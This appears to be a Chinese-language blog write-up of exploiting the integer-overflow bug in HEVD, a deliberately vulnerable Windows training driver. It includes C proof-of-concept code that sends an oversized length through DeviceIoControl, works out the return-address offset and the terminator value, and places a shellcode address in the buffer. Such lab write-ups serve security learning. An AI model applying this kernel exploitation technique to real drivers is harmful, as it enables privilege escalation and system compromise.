划水篇之hevd整数溢出漏洞利用

漏洞代码所处控制码
在这里插入图片描述
漏洞代码
在这里插入图片描述
编写测试程序观察打印结果

#include <windows.h>
#include <stdio.h>
DWORD buf[0xf00]{};
HANDLE hDriver;
DWORD dwBytesOut = 0;
int main() {
	hDriver = CreateFileA("\\\\.\\HackSysExtremeVulnerableDriver", GENERIC_READ | GENERIC_WRITE, 0, NULL, OPEN_EXISTING, 0, NULL);
	if (hDriver == INVALID_HANDLE_VALUE) {
		printf("[!] Unable to get a handle on the device\n");
		return(-1);
	}
	buf[0] = 0x1234;
	DeviceIoControl(hDriver, 0x222027, buf, 8, 0, 0, &dwBytesOut, NULL);
	return 0;
}

在这里插入图片描述
没有任何异常发生
回过头来看看这句
在这里插入图片描述
如果我穿入缓冲区大小会0xffffffff是不是就能绕过检查然后执行拷贝呢
我们知道Dst变量大小最大为800

在这里插入图片描述
如果绕过了检查拷贝长度为0xffffffff
在这里插入图片描述
势必会发生溢出
溢出思路有了 构造poc

#include <windows.h>
#include <stdio.h>
DWORD buf[0xf00]{};
HANDLE hDriver;
DWORD dwBytesOut = 0;
int main() {
	hDriver = CreateFileA("\\\\.\\HackSysExtremeVulnerableDriver", GENERIC_READ | GENERIC_WRITE, 0, NULL, OPEN_EXISTING, 0, NULL);
	if (hDriver == INVALID_HANDLE_VALUE) {
		printf("[!] Unable to get a handle on the device\n");
		return(-1);
	}
	//0xffffffff+4=0
	DeviceIoControl(hDriver, 0x222027, buf, 0xffffffff, 0, 0, &dwBytesOut, NULL);
	return 0;
}

很好 系统挂掉了
在这里插入图片描述
现在问题来了 假设我们能覆盖返回地址控制eip,可是长度只能是0xfffffffc到0xffffffff,这么长势必会崩溃 再回头看看
在这里插入图片描述
当用户输入缓冲区内容不为0xBAD0B0B0时 那么结束拷贝,那我们只需要得到覆盖返回地址所需要的长度,然后在该长度位置的对应用户缓冲区加4个字节为0xBAD0B0B0即可
思路有了 构造Exp

先把长度设置成未溢出来看看拷贝进行时的状态
在这里插入图片描述
打上断点追踪循环
在这里插入图片描述
编译运行
在这里插入图片描述
然后单步找到循环拷贝处
在这里插入图片描述
因为这个拷贝源地址变量不是局部变量 我们得换种方式 ,在该地址下断 断下后
在这里插入图片描述
可以知道该变量最大大小为0x800,那么97a6735c加上0x800就是97a67b5c,再加上0x28就可以覆盖返回地址了
在这里插入图片描述
编写测试程序

#include <windows.h>
#include <stdio.h>
int buf[0xf00]{};
HANDLE hDriver;
DWORD dwBytesOut = 0;
int main() {
	hDriver = CreateFileA("\\\\.\\HackSysExtremeVulnerableDriver", GENERIC_READ | GENERIC_WRITE, 0, NULL, OPEN_EXISTING, 0, NULL);
	if (hDriver == INVALID_HANDLE_VALUE) {
		printf("[!] Unable to get a handle on the device\n");
		return(-1);
	}
	memset(buf, 0x41, 0xf00);

	buf[0x210] = (int)0xBAD0B0B0;
	//0xffffffff+4=0
	DeviceIoControl(hDriver, 0x222027, buf, 0xffffffff, 0, 0, &dwBytesOut, NULL);
	return 0;
}

编译运行 nice 操作系统崩溃
在这里插入图片描述
说明思路是对的 ,那么只剩最后一步在之前填上shellcode地址就行了
exp

buf[0x209] = (int)&ShellCode;
buf[0x210] = (int)0xBAD0B0B0;

补充,此漏洞时整数溢出导致绕过逻辑判断导致数组下标溢出,还有一种是类型转换导致溢出

猜你喜欢

转载自blog.csdn.net/qq_43045569/article/details/106745533